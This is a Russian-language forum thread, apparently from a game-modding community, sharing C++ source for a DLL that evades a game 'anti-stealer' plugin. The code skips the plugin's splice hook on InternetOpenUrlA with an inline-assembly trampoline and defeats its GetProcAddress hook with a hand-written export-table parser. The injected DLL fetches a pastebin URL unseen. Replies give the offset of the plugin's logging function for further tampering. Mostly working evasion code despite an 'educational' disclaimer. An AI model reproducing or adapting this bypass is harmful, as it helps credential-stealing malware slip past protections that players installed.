Исходник [C++] Обходим Анти-стиллер by DarkP1xel

Тема в разделе "C/C++", создана пользователем Rzeźnik, 3 ноя 2018.

  1. Rzeźnik

    Проверенный

    Регистрация:
    13 мар 2016
    Сообщения:
    172
    Симпатии:
    137
    Этот туториал создан исключительно в познавательных целях.
    Я не преследую никаких намерений обидеть разработчика анти-стиллера.
    Всего лишь хочу показать его главную уязвимость чтобы автор наконец её исправил.

    В качестве примера будет использована WIN API функция InternetOpenUrlA с wininet.dll
    Метод обхода заключается в "перепрыгивании" splice-хука через свою функцию-прослойку.
    Для начала подключим в наш DLL проект необходимые библиотеки и заголовки.
    
    #include <windows.h>
    #include <wininet.h>
    #include <fstream>
    #include <thread>
    #pragma comment(lib, "wininet.lib")
    
    Для обхода сплайс-хука нам нужно сделать так званную "прослойку" с помощью inline-ассемблера.
    
    DWORD retAddr;
    // Чтобы компилятор не генерировал нам пролог и эпилог ставим аттрибут naked
    __declspec(naked) void __stdcall EmulateInstructions()
    {
        // Эмулируем 5 байт затёртых инструкций от анти-стиллера
        __asm
        {
            // Распакуем аргументы в стэк
            push ebp
            mov ebp, esp
            jmp retAddr; // Вернёмся в оригинальную WIN API функцию
        }
    }
    
    Далее нам нужно будет вызвать нашу функцию согласно __stdcall соглашению о вызовах.
    Согласно выдержке с msdn это соглашение о вызовах использует порядок аргументов наоборот.
    Значит запихаем все аргументы в стэк в обратном порядке.
    
    // Для обхода GetProcAddress хука использует кастом-функцию
    // B идеале вообще искать адрес вин апи сканнером сигнатур чтобы не нарватся на EAT хуки.
    FARPROC GetProcedureAddress(HANDLE hModule, char* pszProcName)
    {
        IMAGE_DOS_HEADER* pdhDosHeader = (IMAGE_DOS_HEADER*)hModule;
        if (pdhDosHeader->e_magic != IMAGE_DOS_SIGNATURE) return 0;
        IMAGE_NT_HEADERS* pndNTHeader = (IMAGE_NT_HEADERS*)(pdhDosHeader->e_lfanew + (long)hModule);
        if (pndNTHeader->Signature != IMAGE_NT_SIGNATURE) return 0;
        IMAGE_EXPORT_DIRECTORY* iedExports = (IMAGE_EXPORT_DIRECTORY*)
        (pndNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress + (long)hModule);
        long* pNames = (long*)(iedExports->AddressOfNames + (long)hModule);
        short wOrdinalIndex = -1;
        for (int i = 0; i < iedExports->NumberOfFunctions; i++)
        {
            char* pszFunctionName = (char *)(pNames[i] + (long)hModule);
            if (lstrcmpiA(pszFunctionName, pszProcName) == 0)
            {
                wOrdinalIndex = i;
                break;
            }
        }
        if (wOrdinalIndex == -1) return 0;
        short* pOrdinals = (short*)(iedExports->AddressOfNameOrdinals + (long)hModule);
        unsigned long* pAddresses = (unsigned long*)(iedExports->AddressOfFunctions + (long)hModule);
        short wAddressIndex = pOrdinals[wOrdinalIndex];
        return (FARPROC)(pAddresses[wAddressIndex] + (long)hModule);
    }
    void __stdcall TestCall()
    {
        HINTERNET hInternet = InternetOpenA("Google Chrome", 0, 0, 0, 0);
        if (hInternet)
        {
            HINTERNET hInternetUrl;
            // Запишем наш адрес возврата в оригинальную функцию с перепрыгом на 5 байт (Дальше хука антистиллера)
            retAddr = ((DWORD)GetProcedureAddress(GetModuleHandleA("wininet.dll"), "InternetOpenUrlA") + 0x5);
            DWORD DetourAddr = (DWORD)&EmulateInstructions; // Адрес нашей "прослойки"
            char link[] = { "https://pastebin.com/raw/Cv9PSgY0" }; // Ваша ссылка
            __asm // Порядок пушей согласно __stdcall соглашению
            {
                pushfd // Сохраним значения регистров
                lea eax, link // Скопируем в приёмник указатель на нашу ссылку
                push 0
                push 0
                push 0
                push 0
                push eax // Указатель на ссылку
                push hInternet // Хендл интернет-соединения
                call DetourAddr // Вызываем нашу "прослойку"
                mov hInternetUrl, eax // Получим возвращаемый хендл интернет-соединения
                popfd // Восстановим регистры
            }
            if (hInternetUrl)
            {
                DWORD len = 0; char result[1024] = {};
                if (InternetReadFile(hInternetUrl, result, sizeof(result) - 1, &len))
                {
                    result[len] = 0;
                    // Запишем возвращаемую информацию в текстовик
                    FILE *hFile = fopen("__TEST.txt", "a+");
                    if (hFile)
                    {
                        fprintf(hFile, "%s\n", result);
                        fclose(hFile);
                    }
                }
                InternetCloseHandle(hInternetUrl);
            }
            InternetCloseHandle(hInternet);
        }
    }
    // B DllMain где DLL_PROCESS_ATTACH: создадим новый поток чтобы не фризило игру чтение ссылки
    // CreateThread(0, 0, (LPTHREAD_START_ROUTINE)TestInet, 0, 0, 0); // Создание потока
    
    После загрузки нашей DLL-ки в процесс игры, создаст текстовый файл __TEXT.txt с результатом чтения ссылки.
    P.S - На всякий случай лучше отключить все C++ оптимизации в настройках проекта.
    Лог Анти-стиллера (Как видим не одного PATCHED, а нашей функи даже в варнингах нет)
    От остальных варнингов можно тоже избавится если обойти и другие WIN API хуки.
    |>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<|
    |> | AntiStealer | V4.9.5 | By DarkP1xel | .LOG File | <|
    |> Official Web-Site: https://blast.hk/ <|
    |> Subscribe to my YouTube Channel: https://vk.cc/5PCsTe <|
    |> Official Topic: https://blast.hk/threads/16018/ <|
    |> KEEP CALM AND SMOKE SOME WEED <|
    |> !AntiStealer LOADED! <|
    |>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<|

    [WARNING] > [gethostbyname] > [C:\Users\Powerfull\Desktop\GTA San Andreas\samp.dll] > {name: Comparer}
    [WARNING] > [InternetOpenA] > [C:\Users\Powerfull\Desktop\GTA San Andreas\SAMPFUNCS\BPS.sf] > {lpszAgent: Google Chrome}
    [WARNING] > [InternetCreateUrlW] > [C:\Windows\SYSTEM32\Wininet.DLL] > {lpUrlComponents->lpszHostName: pastebin.com}
    [WARNING] > [InternetCreateUrlW] > [C:\Windows\SYSTEM32\Wininet.DLL] > {lpUrlComponents->lpszHostName: pastebin.com}
    [WARNING] > [WinHttpCreateUrl] > [C:\Windows\SYSTEM32\Winhttp.DLL] > {lpUrlComponents->lpszHostName: pastebin.com}
    [WARNING] > [WinHttpCreateUrl] > [C:\Windows\SYSTEM32\Winhttp.DLL] > {lpUrlComponents->lpszHostName: pastebin.com}
    [WARNING] > [InternetCreateUrlW] > [C:\Windows\SYSTEM32\Wininet.DLL] > {lpUrlComponents->lpszHostName: pastebin.com}
    [WARNING] > [InternetCreateUrlW] > [C:\Windows\SYSTEM32\Wininet.DLL] > {lpUrlComponents->lpszHostName: pastebin.com}
    [WARNING] > [InternetCreateUrlW] > [C:\Windows\SYSTEM32\Wininet.DLL] > {lpUrlComponents->lpszHostName: pastebin.com}
    [WARNING] > [InternetCreateUrlW] > [C:\Windows\SYSTEM32\Wininet.DLL] > {lpUrlComponents->lpszHostName: pastebin.com}
    [WARNING] > [GetAddrInfoExW] > [C:\Windows\SYSTEM32\Wininet.DLL] > {pName: pastebin.com}

    Автор: Rzeźnik
     
    #1 Rzeźnik, 3 ноя 2018
    Последнее редактирование: 3 ноя 2018
    2Shae, inf, LaRossa и 8 другим нравится это.
  2. Rinat_Namazov

    Rinat_Namazov ( ͡° ͜ʖ ͡°)
    Проверенный

    Регистрация:
    9 авг 2015
    Сообщения:
    1.018
    Симпатии:
    423
    Можешь еще тут что-то поковырять.
    Адрес функции которая вызывается что-бы что-либо записать в лог.
    
    DWORD LogFunc = (DWORD)GetModuleHandle("!0AntiStealerByDarkP1xel.ASI") + 0x11F10;
    
     
    Rzeźnik нравится это.
  3. Adolf228

    Adolf228 Активный участник

    Регистрация:
    5 июн 2015
    Сообщения:
    35
    Симпатии:
    8
    ну вот, теперь можно не спать спокойно
     
  4. SR_team

    SR_team BH Team
    BH Team

    Регистрация:
    26 окт 2013
    Сообщения:
    3.157
    Симпатии:
    3.052
    Deprecated же

    UPD: При чем было исправлено еще в конце сентября
     
    DarkP1xel и randazzo нравится это.
  5. Rzeźnik

    Проверенный

    Регистрация:
    13 мар 2016
    Сообщения:
    172
    Симпатии:
    137
    Ты сначало его попробуй а потом утверждай, обход проверен на v4.9.5
     
  6. SR_team

    SR_team BH Team
    BH Team

    Регистрация:
    26 окт 2013
    Сообщения:
    3.157
    Симпатии:
    3.052
    Пиксель поломал совместимость с wine в 4.9.0

    Но вероятно это фикс такой, что бы игру не крашило. Я предлагал крашить игру, если запрос не валиден. Т.к. раньше такой обход вообще в логе не палился.
     
  7. Rzeźnik

    Проверенный

    Регистрация:
    13 мар 2016
    Сообщения:
    172
    Симпатии:
    137
    Писал ночью и совсем упустил из виду один момент, у него стоит GetProcAddress хук по этому сапается кастомным парсером EAT.
    
    FARPROC GetProcedureAddress(HANDLE hModule, char* pszProcName)
    {
        IMAGE_DOS_HEADER* pdhDosHeader = (IMAGE_DOS_HEADER*)hModule;
        if (pdhDosHeader->e_magic != IMAGE_DOS_SIGNATURE) return 0;
        IMAGE_NT_HEADERS* pndNTHeader = (IMAGE_NT_HEADERS*)(pdhDosHeader->e_lfanew + (long)hModule);
        if (pndNTHeader->Signature != IMAGE_NT_SIGNATURE) return 0;
        IMAGE_EXPORT_DIRECTORY* iedExports = (IMAGE_EXPORT_DIRECTORY*)
        (pndNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress + (long)hModule);
        long* pNames = (long*)(iedExports->AddressOfNames + (long)hModule);
        short wOrdinalIndex = -1;
        for (int i = 0; i < iedExports->NumberOfFunctions; i++)
        {
            char* pszFunctionName = (char *)(pNames[i] + (long)hModule);
            if (lstrcmpiA(pszFunctionName, pszProcName) == 0)
            {
                wOrdinalIndex = i;
                break;
            }
        }
        if (wOrdinalIndex == -1) return 0;
        short* pOrdinals = (short*)(iedExports->AddressOfNameOrdinals + (long)hModule);
        unsigned long* pAddresses = (unsigned long*)(iedExports->AddressOfFunctions + (long)hModule);
        short wAddressIndex = pOrdinals[wOrdinalIndex];
        return (FARPROC)(pAddresses[wAddressIndex] + (long)hModule);
    }
    
    И в том случае даже если он по экспорту адрес свой поставит, всегда можно искать вин апи сканнером сигнатур.
     
  8. SR_team

    SR_team BH Team
    BH Team

    Регистрация:
    26 окт 2013
    Сообщения:
    3.157
    Симпатии:
    3.052
    Это он собирался фиксить в 5.0
    [​IMG]
     
    Rzeźnik нравится это.
  9. Rinat_Namazov

    Rinat_Namazov ( ͡° ͜ʖ ͡°)
    Проверенный

    Регистрация:
    9 авг 2015
    Сообщения:
    1.018
    Симпатии:
    423
  10. SR_team

    SR_team BH Team
    BH Team

    Регистрация:
    26 окт 2013
    Сообщения:
    3.157
    Симпатии:
    3.052
    Когда-то думал это в SF встроить, но там столько говна было, что я забил.
     
    shamaN4ik нравится это.